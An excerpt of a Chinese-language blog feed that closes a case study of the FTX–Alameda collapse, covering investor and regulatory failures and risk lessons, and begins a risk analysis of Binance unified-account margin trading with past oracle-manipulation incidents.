FTX主要机构投资者风险传导分析表</strong></p><table><thead><tr><th>投资机构</th><th>投资金额</th><th>尽职调查失误</th><th>风险传导效应</th></tr></thead><tbody><tr><td>红杉资本</td><td>2.1亿美元</td><td>过度依赖创始人光环</td><td>为FTX提供信誉背书</td></tr><tr><td>软银</td><td>1亿美元</td><td>未识别关联交易风险</td><td>助长市场FOMO情绪</td></tr><tr><td>淡马锡</td><td>2.75亿美元</td><td>忽视监管环境风险</td><td>机构跟投效应</td></tr></tbody></table><p><em>数据来源：各机构公开声明，法庭文件，2022年11月-2023年3月</em></p><p><strong>投资机构的风险传导机制</strong>：</p><ul><li><strong>信誉传导</strong>：顶级VC的投资被市场解读为质量背书</li><li><strong>估值锚定</strong>：高估值轮次成为后续融资的参考标准</li><li><strong>网络效应</strong>：投资机构的背景关系网为FTX提供了更多资源</li></ul><h4 id="4-2-4-监管机构：系统性失效的制度因素">4.2.4 监管机构：系统性失效的制度因素</h4><p><strong>图4-3： 监管失效的多重层次分析图</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;监管失效的多重层次&quot;        A[&quot;国际层面&lt;br/&gt;监管套利&quot;] --&gt; B[&quot;各国标准不统一&quot;]        A --&gt; C[&quot;跨境执法困难&quot;]        D[&quot;国家层面&lt;br/&gt;政策捕获&quot;] --&gt; E[&quot;政治捐款影响&quot;]        D --&gt; F[&quot;监管理念滞后&quot;]        G[&quot;机构层面&lt;br/&gt;执法不力&quot;] --&gt; H[&quot;技术理解不足&quot;]        G --&gt; I[&quot;资源配置不当&quot;]        J[&quot;个人层面&lt;br/&gt;能力局限&quot;] --&gt; K[&quot;新兴领域经验缺乏&quot;]        J --&gt; L[&quot;与行业人员信息不对称&quot;]    end</code></pre><p><em>数据来源：监管分析报告，学术研究，2022-2024年</em></p><p>图4-3从国际、国家、机构和个人四个层次分析了监管失效的原因。FTX案例中，监管套利、政策捕获和技术理解不足等因素的叠加，造成了系统性的监管真空。</p><h3 id="4-3-风险的系统性传导机制">4.3 风险的系统性传导机制</h3><h4 id="4-3-1-从个体风险到系统性风险的演化路径">4.3.1 从个体风险到系统性风险的演化路径</h4><p><strong>图4-4： FTX风险演化的五阶段过程图</strong></p><pre><code class="highlight mermaid">flowchart TD    subgraph &quot;风险演化的五个阶段&quot;        A[&quot;阶段1：隐性风险积累&lt;br/&gt;2019-2021&quot;] --&gt; B[&quot;SBF个人道德风险&lt;br/&gt;关联交易开始&quot;]        B --&gt; C[&quot;阶段2：风险扩散&lt;br/&gt;2021-2022&quot;]        C --&gt; D[&quot;资金挪用规模扩大&lt;br/&gt;达到数十亿美元&quot;]        D --&gt; E[&quot;阶段3：风险暴露&lt;br/&gt;2022年6-10月&quot;]        E --&gt; F[&quot;市场环境恶化&lt;br/&gt;Alameda亏损加剧&quot;]        F --&gt; G[&quot;阶段4：危机爆发&lt;br/&gt;2022年11月&quot;]        G --&gt; H[&quot;信任危机引发挤兑&lt;br/&gt;流动性枯竭&quot;]        H --&gt; I[&quot;阶段5：系统性崩塌&lt;br/&gt;2022年11月&quot;]        I --&gt; J[&quot;行业信心崩塌&lt;br/&gt;监管风暴来临&quot;]    end</code></pre><p><em>数据来源：时间线分析，法庭记录，2019-2023年</em></p><p>图4-4以时间线形式展示了FTX风险从隐性积累到系统性爆发的完整过程。这个模式对于理解其他金融机构的风险演化具有重要参考价值。</p><h4 id="4-3-2-风险传导的网络效应分析">4.3.2 风险传导的网络效应分析</h4><p><strong>直接传导路径</strong>：</p><ul><li>FTX客户 → 直接资金损失 → 对加密交易所的信任崩塌</li><li>投资机构 → 投资损失 → 对加密项目投资谨慎</li><li>竞争对手 → 监管压力增加 → 合规成本上升</li></ul><p><strong>间接传导路径</strong>：</p><ul><li>媒体报道 → 公众认知改变 → 政策制定者态度转向</li><li>学术研究 → 理论框架更新 → 风险识别能力提升</li><li>从业人员 → 职业发展受阻 → 人才流失</li></ul><h3 id="4-4-深层次的制度与文化根因">4.4 深层次的制度与文化根因</h3><h4 id="4-4-1-加密货币行业的文化基因缺陷">4.4.1 加密货币行业的文化基因缺陷</h4><p><strong>&quot;Move Fast and Break Things&quot;文化的负面效应</strong>：</p><ul><li><strong>创新至上主义</strong>：为了创新可以牺牲合规和风控</li><li><strong>反权威文化</strong>：对传统金融监管的天然反感</li><li><strong>技术乌托邦主义</strong>：过度相信技术能够解决所有问题</li></ul><h4 id="4-4-2-金融创新与监管的永恒博弈">4.4.2 金融创新与监管的永恒博弈</h4><p><strong>创新者的策略</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">技术创新 → 监管空白 → 快速扩张 →</span><br><span class="line">既成事实 → 监管妥协 → 合法地位</span><br></pre></td></tr></table></figure><p><strong>SBF失败的原因</strong>：过度贪婪，没有在&quot;既成事实&quot;阶段适可而止，而是继续扩大风险敞口。</p><h4 id="4-4-3-现代金融体系的内在脆弱性">4.4.3 现代金融体系的内在脆弱性</h4><p><strong>系统性问题</strong>：</p><ul><li><strong>信任机制</strong>：现代金融建立在信任基础上，一旦信任崩塌，系统迅速瓦解</li><li><strong>网络效应</strong>：金融机构高度互联，风险传播速度极快</li><li><strong>复杂性</strong>：金融产品过度复杂，风险识别和定价困难</li></ul><h2 id="5-终极教训：风险管理的哲学思考">5. 终极教训：风险管理的哲学思考</h2><p><strong>章节核心观点：</strong> 本章从哲学层面提炼FTX案例的核心教训，强调有效风险管理的三个根本原则：(1) 权力制衡的必要性——任何个人都不应该拥有绝对权力，制度设计必须假设人性的贪婪和弱点；(2) 激励相容的重要性——风险承担者与决策者必须是同一人，收益与风险必须匹配；(3) 监管的进化要求——监管必须与创新同步发展，跨境合作和技术赋能是未来趋势。这些原则不仅适用于加密货币领域，更是所有金融创新必须遵循的基本法则。</p><h3 id="5-1-权力制衡的必要性">5.1 权力制衡的必要性</h3><ul><li>任何个人都不应该拥有绝对权力</li><li>制度设计必须假设人性的贪婪和弱点</li><li>透明度是制衡权力的最有效工具</li></ul><h3 id="5-2-激励相容的重要性">5.2 激励相容的重要性</h3><ul><li>风险承担者与决策者必须是同一人</li><li>收益与风险必须匹配</li><li>短期激励与长期价值创造必须一致</li></ul><h3 id="5-3-监管的进化要求">5.3 监管的进化要求</h3><ul><li>监管必须与创新同步发展</li><li>跨境合作是应对全球化金融风险的必然要求</li><li>技术赋能监管是未来趋势</li></ul><p>FTX案例不仅仅是一个商业失败的案例，更是一面镜子，反映了现代金融体系在面对技术创新和制度创新时的深层矛盾和系统性风险。</p><h2 id="6-结语：从历史中学习，为未来做准备">6. 结语：从历史中学习，为未来做准备</h2><p><strong>章节核心观点：</strong> 风险管理的本质是一个持续学习和适应的过程，历史经验提供基础框架，但每一次新的危机都会带来超越既有认知边界的挑战。本章通过对从LTCM(1998)到FTX(2022)，再到2024-2025年最新风险事件的历时性分析，提炼出风险演化的三个基本规律：(1) 风险的形式在变，但人性的贪婪和恐惧保持不变；(2) 技术进步创造新的风险管理工具，同时也催生新的风险类型；(3) 监管总是滞后于创新，但最终会找到平衡点。最核心的启示是：优秀的风险管理者不是那些能够预测未来的人，而是那些能够在不确定性中保持适应能力的人。</p><p>通过对跨越26年（1998-2025）的重大风险事件的系统性梳理和深度分析，我们能够从历史的螺旋式发展中提炼出具有普遍意义的风险管理智慧：</p><h3 id="6-1-风险的不变性与进化性">6.1 风险的不变性与进化性</h3><p><strong>不变的风险本质：</strong></p><ul><li><strong>杠杆的双刃剑特性</strong>：放大收益的同时必然放大风险</li><li><strong>流动性的重要性</strong>：危机时刻，流动性比收益率更珍贵</li><li><strong>人性的贪婪与恐惧</strong>：技术在进步，但人性的弱点始终存在</li><li><strong>系统性风险的传染性</strong>：局部风险很容易演变为全面危机</li></ul><p><strong>进化的风险形态：</strong></p><ul><li><strong>技术依赖度提高</strong>：现代交易更依赖于技术系统的稳定性</li><li><strong>速度要求提升</strong>：毫秒级的延迟可能造成巨大损失</li><li><strong>监管环境复杂化</strong>：合规要求越来越严格和细致</li><li><strong>全球化影响加深</strong>：地缘政治风险对金融市场的影响加剧</li></ul><h3 id="6-2-统一账户保证金交易的未来展望">6.2 统一账户保证金交易的未来展望</h3><p><strong>机遇方面：</strong></p><ul><li><strong>资金效率提升</strong>：统一账户模式确实能提高资金使用效率</li><li><strong>产品创新加速</strong>：更多复杂金融产品将变得可及</li><li><strong>监管框架完善</strong>：逐步明确的监管环境有利于行业健康发展</li><li><strong>技术基础设施改善</strong>：交易系统的稳定性和速度持续提升</li></ul><p><strong>挑战方面：</strong></p><ul><li><strong>风险复杂度增加</strong>：多资产、多策略的风险管理更加复杂</li><li><strong>系统性风险放大</strong>：统一账户模式可能加剧风险传染</li><li><strong>监管合规成本上升</strong>：更严格的监管要求增加运营成本</li><li><strong>技术故障影响扩大</strong>：单点故障可能影响所有交易活动</li></ul><h3 id="6-3-最终建议：构建个人化的风险管理体系">6.3 最终建议：构建个人化的风险管理体系</h3><p><strong>原则一：永远保持敬畏之心</strong></p><ul><li>市场永远比我们想象的更复杂</li><li>黑天鹅事件虽然罕见，但破坏力巨大</li><li>没有任何模型能够完美预测未来</li></ul><p><strong>原则二：建立多层次防护体系</strong></p><ul><li>资产配置层面的分散化</li><li>杠杆使用的严格控制</li><li>实时监控的预警机制</li><li>应急响应的快速执行</li></ul><p><strong>原则三：持续学习与适应</strong></p><ul><li>定期回顾和更新风险管理策略</li><li>关注行业最新发展和监管变化</li><li>从他人的失败中汲取教训</li><li>保持技术技能的与时俱进</li></ul><p><strong>原则四：量力而行，理性投资</strong></p><ul><li>只投入你能承受损失的资金</li><li>杠杆使用要与个人风险承受能力匹配</li><li>不要被短期的高收益冲昏头脑</li><li>记住投资的最终目标是长期财富增长</li></ul><p>记住：<strong>在金融市场中，保护本金始终比追求收益更为重要</strong>。统一账户保证金交易为我们提供了更多机会，但也带来了更大责任。只有那些能够有效管理风险的交易者，才能在这个充满机遇与挑战的市场中长期生存并获得成功。</p><p><strong>愿每一位交易者都能从历史的教训中学习，在未来的交易中行稳致远。</strong></p><h2 id="7-参考资料">7. 参考资料</h2><p><strong>资料说明：</strong> 本研究以法庭文件、官方记录、权威媒体报道和行业分析等多源数据为基础，确保了研究结论的客观性和可靠性。所有引用资料均来源于公开可验证的渠道，包括美国司法部、SEC、CFTC等监管机构的官方文件，以及知名媒体的深度调查报道。</p><h3 id="7-1-FTX-Alameda崩塌案例深度资料">7.1 FTX-Alameda崩塌案例深度资料</h3><h4 id="7-1-1-法庭文件与官方记录">7.1.1 法庭文件与官方记录</h4><ol><li><p><a href="https://www.justice.gov/archives/opa/pr/samuel-bankman-fried-sentenced-25-years-his-orchestration-multiple-fraudulent-schemes">美国司法部 - Sam Bankman-Fried判决公告</a></p><ul><li>SBF获刑25年的官方判决声明</li><li>110亿美元罚金和欺诈罪名详情</li><li>联邦检察官对案件的综合评估</li></ul></li><li><p><a href="https://www.sec.gov/litigation/complaints/2022/comp-pr2022-219.pdf">SEC vs. Sam Bankman-Fried民事诉讼</a></p><ul><li>证券交易委员会的详细指控</li><li>投资者欺诈的具体案例</li><li>监管违规行为的技术细节</li></ul></li><li><p><strong>CFTC执法行动</strong>（2023年）</p><ul><li>商品期货交易委员会对FTX的执法行动</li><li>客户资金挪用的监管认定和罚款</li><li>期货交易违规行为的监管分析</li><li><strong>注</strong>: 具体文件可在CFTC官网搜索&quot;FTX&quot;获取最新信息</li></ul></li></ol><h4 id="7-1-2-权威新闻深度报道">7.1.2 权威新闻深度报道</h4><ol start="4"><li><p><a href="https://abcnews.go.com/Business/timeline-cryptocurrency-exchange-ftxs-historic-collapse/story?id=93337035">ABC News - FTX崩塌完整时间线</a></p><ul><li>从2022年11月2日到2024年3月28日的完整记录</li><li>包含审判过程和最终判决</li><li>详细的法庭证词摘要</li></ul></li><li><p><a href="https://www.npr.org/2023/10/11/1205045583/sam-bankman-fried-trial-caroline-ellison-ftx-alameda-research">NPR - Caroline Ellison关键证词分析</a></p><ul><li>星级证人的爆炸性证词详解</li><li>个人关系如何影响商业决策</li><li>SBF道德观扭曲的深度剖析</li></ul></li><li><p><a href="https://www.theguardian.com/business/2023/oct/13/caroline-ellison-testimony-sam-bankman-fried-trial-takeaways">The Guardian - FTX审判五大关键要点</a></p><ul><li>Caroline Ellison三天证词的关键信息</li><li>SBF形象包装策略的揭露</li><li>关联交易风险的详细分析</li></ul></li></ol><h4 id="7-1-3-行业分析与技术研究">7.1.3 行业分析与技术研究</h4><ol start="7"><li><a href="https://changelly.com/blog/ftx-collapse-timeline/">Changelly - FTX崩塌影响分析</a><ul><li>对加密货币行业的长期影响</li><li>监管环境变化分析</li><li>投资者信心恢复路径研究</li></ul></li></ol><h3 id="7-2-系统性风险理论参考文献">7.2 系统性风险理论参考文献</h3><ul><li><strong>FTX-Alameda Collapse:</strong><ul><li><strong>CoinDesk报道(2022年11月2日)</strong>: <em>Divisions in Sam Bankman-Fried’s Crypto Empire Blur on His Trading Titan Alameda’s Balance Sheet</em> - 引发FTX崩塌的关键调查报道，揭露了Alameda Research资产负债表中的FTT代币集中持有问题</li><li>Bloomberg. (2022, November 6). <em>Binance To Sell $529 Million of Bankman-Fried’s FTT Token</em>. <a href="https://www.bloomberg.com/news/articles/2022-11-06/binance-to-sell-529-million-of-ftt-token-amids-revelations">https://www.bloomberg.com/news/articles/2022-11-06/binance-to-sell-529-million-of-ftt-token-amids-revelations</a></li><li>Kroll Restructuring Administration. <em>FTX Trading Ltd. Case Information</em>. <a href="https://restructuring.ra.kroll.com/ftx/">https://restructuring.ra.kroll.com/ftx/</a></li><li>U.S. Department of Justice. (2024, March 28). <em>Samuel Bankman-Fried Sentenced to 25 Years for His Orchestration of Multiple Fraudulent Schemes</em>. <a href="https://www.justice.gov/archives/opa/pr/samuel-bankman-fried-sentenced-25-years-his-orchestration-multiple-fraudulent-schemes">https://www.justice.gov/archives/opa/pr/samuel-bankman-fried-sentenced-25-years-his-orchestration-multiple-fraudulent-schemes</a></li></ul></li></ul><pre><code class="highlight mermaid"></code></pre>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/ftx-alameda-collapse-case-study/</id>
    <link href="https://www.blog-blockchain.xyz/finance/ftx-alameda-collapse-case-study/"/>
    <published>2025-07-27T06:26:20.000Z</published>
    <summary>本文通过深度分析FTX-Alameda连锁崩塌事件，系统性研究统一账户保证金交易的系统性风险机制，涵盖风险演化过程、传导机制、根本原因和监管失效等核心问题，为加密货币风险管理和金融监管提供重要案例参考。</summary>
    <title>320亿美元消失记：FTX帝国崩塌背后的人性贪婪与制度失效</title>
    <updated>2026-02-19T16:18:01.168Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="risk analysis" scheme="https://www.blog-blockchain.xyz/categories/finance/risk-analysis/"/>
    <category term="binance" scheme="https://www.blog-blockchain.xyz/tags/binance/"/>
    <category term="margin trading" scheme="https://www.blog-blockchain.xyz/tags/margin-trading/"/>
    <content>
      <![CDATA[<h1>币安统一账户保证金交易的风险分析与管理策略</h1><h2 id="1-引言：历史案例的启示">1. 引言：历史案例的启示</h2><p>本章介绍了币安统一账户保证金交易风险分析的研究背景和理论基础。通过对LTCM和FTX两个经典金融风险案例的简要分析，本章揭示了杠杆交易中的核心风险原则，为后续的币安统一账户特有风险分析奠定了理论基础。主要结论包括：过度杠杆的致命性、流动性风险的重要性以及中心化平台信任风险的现实性。</p><p>金融史上两个著名的风险案例为我们理解现代统一账户保证金交易的风险提供了重要启示：</p><p><strong>长期资本管理公司(LTCM, 1998)</strong>：这家由诺贝尔奖得主创立的对冲基金因过度杠杆(最高达200:1)和流动性错配在俄债危机中崩塌，损失达46亿美元，几乎引发全球金融危机。其教训是杠杆的双刃剑效应和流动性风险的致命性。</p><p><strong>FTX交易所(2022)</strong>：曾是全球第二大加密货币交易所，因挪用客户资金和风险管理失控而突然破产，客户损失超过80亿美元。这一事件揭示了中心化平台的信任风险和资金管理的重要性。</p><p>这些历史教训提醒我们：无论技术如何进步，风险管理的基本原则始终适用。币安统一账户模式虽然在提高资金效率和简化操作流程方面具有显著优势，但其复杂的风险管理机制也带来了多层次的风险挑战。</p><h2 id="2-币安统一账户参数调整风险">2. 币安统一账户参数调整风险</h2><p><strong>章节核心观点：</strong> 本章深入分析了币安统一账户参数调整对用户资金安全的直接影响机制。作为全球最大的加密货币交易所，币安的参数调整决定对数百万用户产生影响。通过2024年多次折算率调整的实际案例分析，本章揭示了三个关键风险领域：折算率调整的连锁清算风险、指数价格操纵的系统性风险以及预言机故障的灾难性影响。研究结论表明，参数调整风险是币安统一账户用户需要重点关注的首要风险类别。</p><p>币安统一账户参数调整风险主要体现在三个核心层面：折算率调整、指数价格组成变更以及数据源切换风险。虽然这些调整在表面上具有技术性特征，但实际上对每一位币安统一账户用户的资金安全都产生直接影响。</p><h3 id="2-1-折算率调整的实际影响">2.1 折算率调整的实际影响</h3><p>如图2-1所示，币安折算率调整会通过风险传导机制直接影响用户的保证金安全。当币安下调特定资产的折算率时，用户的有效保证金立即减少，可能触发连锁清算，这一机制对币安统一账户用户尤为关键。</p><p><strong>图2-1：币安折算率调整风险传导机制图</strong></p><pre><code class="highlight mermaid">flowchart TD    subgraph &quot;折算率调整风险传导机制&quot;        A[&quot;交易所公告折算率调整&quot;] --&gt; B[&quot;资产有效保证金减少&quot;]        B --&gt; C&#123;&#123;&quot;当前uniMMR是否下降?&quot;&#125;&#125;        C --&gt;|是| D[&quot;触发追加保证金要求&quot;]        C --&gt;|否| E[&quot;暂时安全&quot;]        D --&gt; F&#123;&#123;&quot;用户能否及时追加?&quot;&#125;&#125;        F --&gt;|是| G[&quot;维持仓位&quot;]        F --&gt;|否| H[&quot;被迫清算&quot;]        subgraph &quot;2024年实际案例&quot;            I[&quot;Binance多次调整折算率&quot;]            I --&gt; J[&quot;6月10日：多资产调至75%&quot;]            I --&gt; K[&quot;7月30日：大规模调整&quot;]            I --&gt; L[&quot;11月1日：进一步优化&quot;]        end    end</code></pre><p><em>数据来源：Binance官方公告，2024年</em><br><em>说明：该流程图展示了币安折算率调整从初始公告到最终影响用户的完整链条，特别强调了uniMMR下降的关键风险节点。在实际案例中，币安于2024年多次调整折算率，每次调整都遵循类似的传导机制。</em></p><p><strong>币安折算率频繁调整案例分析：</strong></p><p>交易所参数调整的风险并非一次性事件，而是持续存在的。以币安为例，其在2024年和2025年期间频繁地对统一账户和投资组合保证金（Portfolio Margin）的资产折算率进行调整。这些调整虽然旨在优化风险模型，但也给交易者带来了不确定性。</p><p><strong>关键调整模式：</strong></p><ul><li><strong>持续性</strong>: 币安会定期发布公告，调整数十种资产的折算率。例如，在 <strong>2024年6月28日</strong> 的一次公告中，币安就对多种资产的参数进行了更新。</li><li><strong>规模化</strong>: 这种调整趋势在2025年尤为明显，仅在2025年7月，币安就发布了多次大规模调整公告，涉及大量主流和新兴资产。</li><li><strong>目标</strong>: 官方声明的目标通常是“优化风险管理参数，更好地对齐市场条件”以及“增强风险管理，优化系统”.</li></ul><p><strong>用户和行业反应：</strong></p><p><em>正面评价：</em></p><ul><li>行业专家认为调整有助于更好地对齐抵押品要求与市场波动性</li><li>提高了平台整体稳定性，降低了系统性风险</li><li>为投资组合风险评估提供了更准确的基础</li></ul><p><em>用户担忧：</em></p><ul><li>对保证金边缘操作的日内交易者影响较大</li><li>较低的折算率可能导致意外清算风险增加</li><li>部分用户需要重新调整交易策略以适应新的风险参数</li></ul><p><em>实际影响分析：</em></p><ul><li>当uniMMR跌破105%时触发强制清算</li><li>折算率从85%降至75%意味着10万USDT资产的有效保证金从85,000USDT降至75,000USDT</li><li>对于高杠杆策略，这种10,000USDT的保证金减少可能直接触发追加保证金要求</li></ul><p><strong>表2-1：币安折算率调整实际影响案例分析</strong></p><table><thead><tr><th>项目</th><th>调整前</th><th>调整后</th><th>变化幅度</th></tr></thead><tbody><tr><td>BTC持仓价值</td><td>100,000 USDT</td><td>100,000 USDT</td><td>0%</td></tr><tr><td>折算率</td><td>85%</td><td>75%</td><td>-10个百分点</td></tr><tr><td>有效保证金</td><td>85,000 USDT</td><td>75,000 USDT</td><td>-10,000 USDT</td></tr><tr><td>影响程度</td><td>基准值</td><td>11.8%减少</td><td>高风险</td></tr></tbody></table><p><em>数据说明：以上案例基于币安统一账户的实际计算规则。如果用户的uniMMR本来就接近150%的安全线，这种10,000 USDT的有效保证金减少可能直接触发追加保证金要求或清算。</em></p><p>如果用户的uniMMR本来就接近150%的安全线，这种调整可能直接触发追加保证金要求或清算。</p><h3 id="2-2-指数价格组成变更风险">2.2 指数价格组成变更风险</h3><p>指数价格的组成权重调整可能导致价格波动，特别是在市场流动性较差的情况下：</p><p><strong>风险具体表现：</strong></p><ol><li><strong>权重调整导致的价格偏差</strong>：当币安调整某个资产指数价格的数据源权重时，可能出现短期价格偏离，影响统一账户的保证金计算</li><li><strong>数据源切换风险</strong>：主要价格数据源出现问题时的切换可能造成价格跳跃，导致统一账户用户面临非预期的保证金变化</li><li><strong>时间延迟风险</strong>：价格更新的微秒级延迟在高频交易中可能造成损失，对使用算法交易的统一账户用户尤为关键</li></ol><p><strong>实际损失案例研究：</strong></p><p><strong>价格预言机操纵损失案例：</strong></p><ol><li><p><strong>Compound协议预言机操纵事件（2020年11月）</strong></p><ul><li><strong>损失规模</strong>：单笔4900万美元清算损失</li><li><strong>操纵机制</strong>：攻击者利用Coinbase Pro价格数据，将DAI价格短暂推高30%</li><li><strong>影响范围</strong>：24小时内总清算超1亿美元</li><li><strong>风险源头</strong>：中心化价格数据源被操纵，预言机未能及时纠错</li></ul></li><li><p><strong>Mango Markets预言机操纵案（2022年10月）</strong></p><ul><li><strong>损失规模</strong>：1.12-1.17亿美元</li><li><strong>操纵手法</strong>：通过大额对倒交易将MNGO代币价格推高300%至0.15美元，随后利用虚假抵押值借出所有可用资产</li><li><strong>价格影响</strong>：MNGO价格在10分钟内暴涨，随后暴跌88%</li><li><strong>监管后果</strong>：CFTC首次起诉预言机操纵案件</li></ul></li><li><p><strong>Chainlink预言机故障事件（2023年5月）</strong></p><ul><li><strong>损失规模</strong>：超50万美元清算损失</li><li><strong>故障原因</strong>：deUSD稳定币价格被错误报告为1.03美元</li><li><strong>延迟问题</strong>：价格更新延迟25分钟</li><li><strong>市场影响</strong>：引发大量错误清算，重燃预言机可靠性争议</li></ul></li></ol><p><strong>价格数据源切换风险案例：</strong></p><ol start="4"><li><p><strong>CrowdStrike技术故障影响利率市场（2024年7月19日）</strong></p><ul><li><strong>影响范围</strong>：Tullett Prebon和Icap利率产品经纪商定价数据源大部分时间离线</li><li><strong>市场反应</strong>：依赖数据定价的交易商被迫扩大买卖价差</li><li><strong>系统风险</strong>：整体利率市场交易受到严重干扰</li></ul></li><li><p><strong>纳斯达克价格数据源连续故障（2013年）</strong></p><ul><li><strong>故障频率</strong>：两周内发生两次硬件内存故障</li><li><strong>影响范围</strong>：Direct Edge交易所暂停部分纳斯达克上市股票交易</li><li><strong>投资者信心</strong>：连续故障严重损害投资者对市场基础设施的信心</li></ul></li></ol><p><strong>权重调整和重平衡损失：</strong></p><ol start="6"><li><p><strong>加密货币组合重平衡成本分析</strong></p><ul><li><p><strong>交易费用损失</strong>：频繁重平衡可产生高达4.5%的年度费用负担</p></li><li><p><strong>机会成本损失</strong>：市场强势方向性波动期间，重平衡策略相比HODL可能错失收益</p></li><li><p><strong>价格偏差套利</strong>：哥伦比亚比特币市场研究显示2017-2018年各交易所间存在显著&quot;比特币收益率差距&quot;</p><blockquote><p><strong>&quot;比特币收益率差距&quot;解释</strong>：指同一时间不同交易所之间比特币价格的差异，即套利价差。这种价差为投资者提供了在低价交易所买入、高价交易所卖出的获利机会。在2017-2018年的哥伦比亚市场，当地交易所价格比国际主流交易所高出5-15%，主要原因包括资本管制、汇率限制和流动性不足。价差越大，说明市场分割越严重，也为套利策略提供了更大的收益空间。</p></blockquote></li></ul></li></ol><p><strong>高频交易时间延迟损失：</strong></p><ol start="7"><li><strong>微秒级延迟造成的实际损失</strong><ul><li><strong>价格滑点实例</strong>：购买1000单位加密货币，1微秒延迟导致每单位多付1美元，总损失1000美元</li><li><strong>套利损失案例</strong>：Jump Trading通过微秒级优势在币安、Coinbase获利数百万 (<a href="https://insights4vc.substack.com/p/inside-jump-crypto-13b-terra-trade">Jump Trading案例分析</a>)，Alameda Research 2021年通过低延迟套利获利3亿美元 (<a href="https://itez.com/en/blog/education/alameda-research-overview">Alameda Research交易策略</a>)</li><li><strong>基础设施成本</strong>：Virtu公司2018年在通信和数据处理上支出1.76亿美元，占交易收入14%，体现延迟竞争的巨大成本 (<a href="https://ir.virtu.com/static-files/b6cf7a58-cbbf-487b-9ce0-032e0ff70c7e">Virtu Financial SEC文件</a>)</li></ul></li></ol><p><strong>监管执法和预警：</strong></p><ol start="8"><li><strong>CFTC和SEC加密资产执法趋势（2023-2024）</strong><ul><li><strong>执法规模</strong>：2023年SEC和CFTC对加密公司执法行动达到10年高点，CFTC 1/3执法行动针对加密公司</li><li><strong>市场影响</strong>：SEC将加密资产分类为证券导致市场一周内收益下跌12%</li><li><strong>未来警告</strong>：CFTC主席2024年警告未来6-24个月将出现新一轮执法行动</li></ul></li></ol><p><strong>技术基础设施风险评估：</strong></p><p>当前加密货币市场中，指数价格组成变更风险主要体现在三个层面：</p><ul><li><strong>微观层面</strong>：单笔交易的毫秒级延迟可导致显著损失</li><li><strong>中观层面</strong>：交易所间价格偏差为套利者提供机会，同时增加普通投资者成本</li><li><strong>宏观层面</strong>：系统性预言机操纵可造成数亿美元损失，影响整个DeFi生态稳定性</li></ul><h2 id="3-关键假设与术语定义">3. 关键假设与术语定义</h2><p><strong>章节核心观点：</strong> 本章系统性地阐述了本研究的关键假设条件和核心术语定义，为后续的技术分析和风险评估提供明确的理论框架。通过对市场环境、交易行为和技术基础设施等关键假设的详细阐述，本章明确了研究的适用范围和限制条件。同时，通过对统一账户、组合保证金、uniMMR等核心术语的标准化定义，本章确保了全文的术语一致性和专业性。研究发现，当前假设条件在主流市场环境下具有较高的有效性，但在极端条件下可能失效。</p><h3 id="3-1-核心假设条件">3.1 核心假设条件</h3><p>本分析基于以下关键假设，这些假设的合理性直接影响分析结论的有效性：</p><p><strong>市场环境假设：</strong></p><ol><li><p><strong>市场相对有效假设</strong>：假设主要交易所价格发现机制基本有效，价格能够在合理时间内反映市场信息</p><ul><li><strong>适用范围</strong>：主流交易对和高流动性资产</li><li><strong>限制条件</strong>：在极端市场条件下该假设可能失效</li><li><strong>影响评估</strong>：若市场失效，价格偏离基本面的时间和幅度可能超出预期</li></ul></li><li><p><strong>监管环境相对稳定假设</strong>：假设主要司法管辖区的监管政策在短期内不会发生根本性变化</p><ul><li><strong>适用范围</strong>：美国、欧盟、亚太主要金融中心</li><li><strong>风险因素</strong>：突发性监管政策变化可能使某些交易策略瞬间失效</li><li><strong>敏感性分析</strong>：监管政策变化对杠杆倍数和资产配置的影响</li></ul></li><li><p><strong>技术基础设施可靠性假设</strong>：假设主要交易所的技术系统能够承受正常的市场压力</p><ul><li><strong>适用范围</strong>：主流中心化交易所和成熟的DeFi协议</li><li><strong>失效条件</strong>：网络攻击、系统过载、技术故障等极端情况</li><li><strong>风险缓解</strong>：分散交易平台，建立技术故障应急预案</li></ul></li></ol><p><strong>交易行为假设：</strong> 4. <strong>理性交易者假设</strong>：假设大部分市场参与者能够基于可获得信息做出相对理性的决策</p><ul><li><strong>现实偏离</strong>：恐慌情绪、羊群效应、信息不对称等可能导致非理性行为</li><li><strong>量化标准</strong>：当市场恐慌指数(VIX等价指标)超过40时，理性假设可能失效</li><li><strong>应对策略</strong>：在市场情绪极端时适当降低仓位和杠杆</li><li><strong>币安特定考量</strong>：币安用户行为数据显示，在极端市场条件下情绪驱动交易明显增加</li></ul><ol start="5"><li><strong>流动性充足假设</strong>：假设主要交易对在正常市场条件下具有充足的流动性<ul><li><strong>量化指标</strong>：买卖价差小于0.1%，订单簿深度大于100万美元</li><li><strong>失效警示</strong>：当交易量下降超过50%或价差扩大超过1%时需要特别警惕</li><li><strong>风险管理</strong>：建立流动性监控机制，设置流动性不足时的退出策略</li><li><strong>币安优势</strong>：作为全球最大交易所，币安在主流交易对上通常具有较好的流动性</li></ul></li></ol><p><strong>币安平台特定假设：</strong> 6. <strong>币安系统稳定性假设</strong>：假设币安技术系统在正常负载下保持稳定运行</p><ul><li><strong>历史依据</strong>：币安系统稳定性在行业内处于领先水平</li><li><strong>风险因素</strong>：极端市场条件下的访问量激增、DDoS攻击、系统维护</li><li><strong>影响评估</strong>：系统故障可能影响订单执行、保证金计算和风险管理</li></ul><ol start="7"><li><strong>币安政策连续性假设</strong>：假设币安的风险管理政策和参数调整具有合理的预告期和过渡期<ul><li><strong>适用范围</strong>：折算率调整、保证金要求变更、交易规则修改</li><li><strong>限制条件</strong>：紧急风险事件可能导致政策立即生效</li><li><strong>用户影响</strong>：政策变更直接影响用户的资金使用效率和风险敞口</li></ul></li></ol><h3 id="3-2-核心术语统一定义">3.2 核心术语统一定义</h3><p>为确保分析的一致性和准确性，以下术语在本文中具有特定含义：</p><p><strong>币安统一账户相关术语：</strong></p><ul><li><strong>币安统一账户(Binance Unified Account)</strong>：币安提供的高级交易模式，允许用户在单一账户中同时进行现货、U本位合约、币本位合约、期权等多种金融工具交易，实现跨品种的保证金共享和风险管理</li><li><strong>uniMMR(Unified Maintenance Margin Ratio)</strong>：币安统一账户维持保证金比率，当该比率低于105%时触发强制清算</li><li><strong>Portfolio 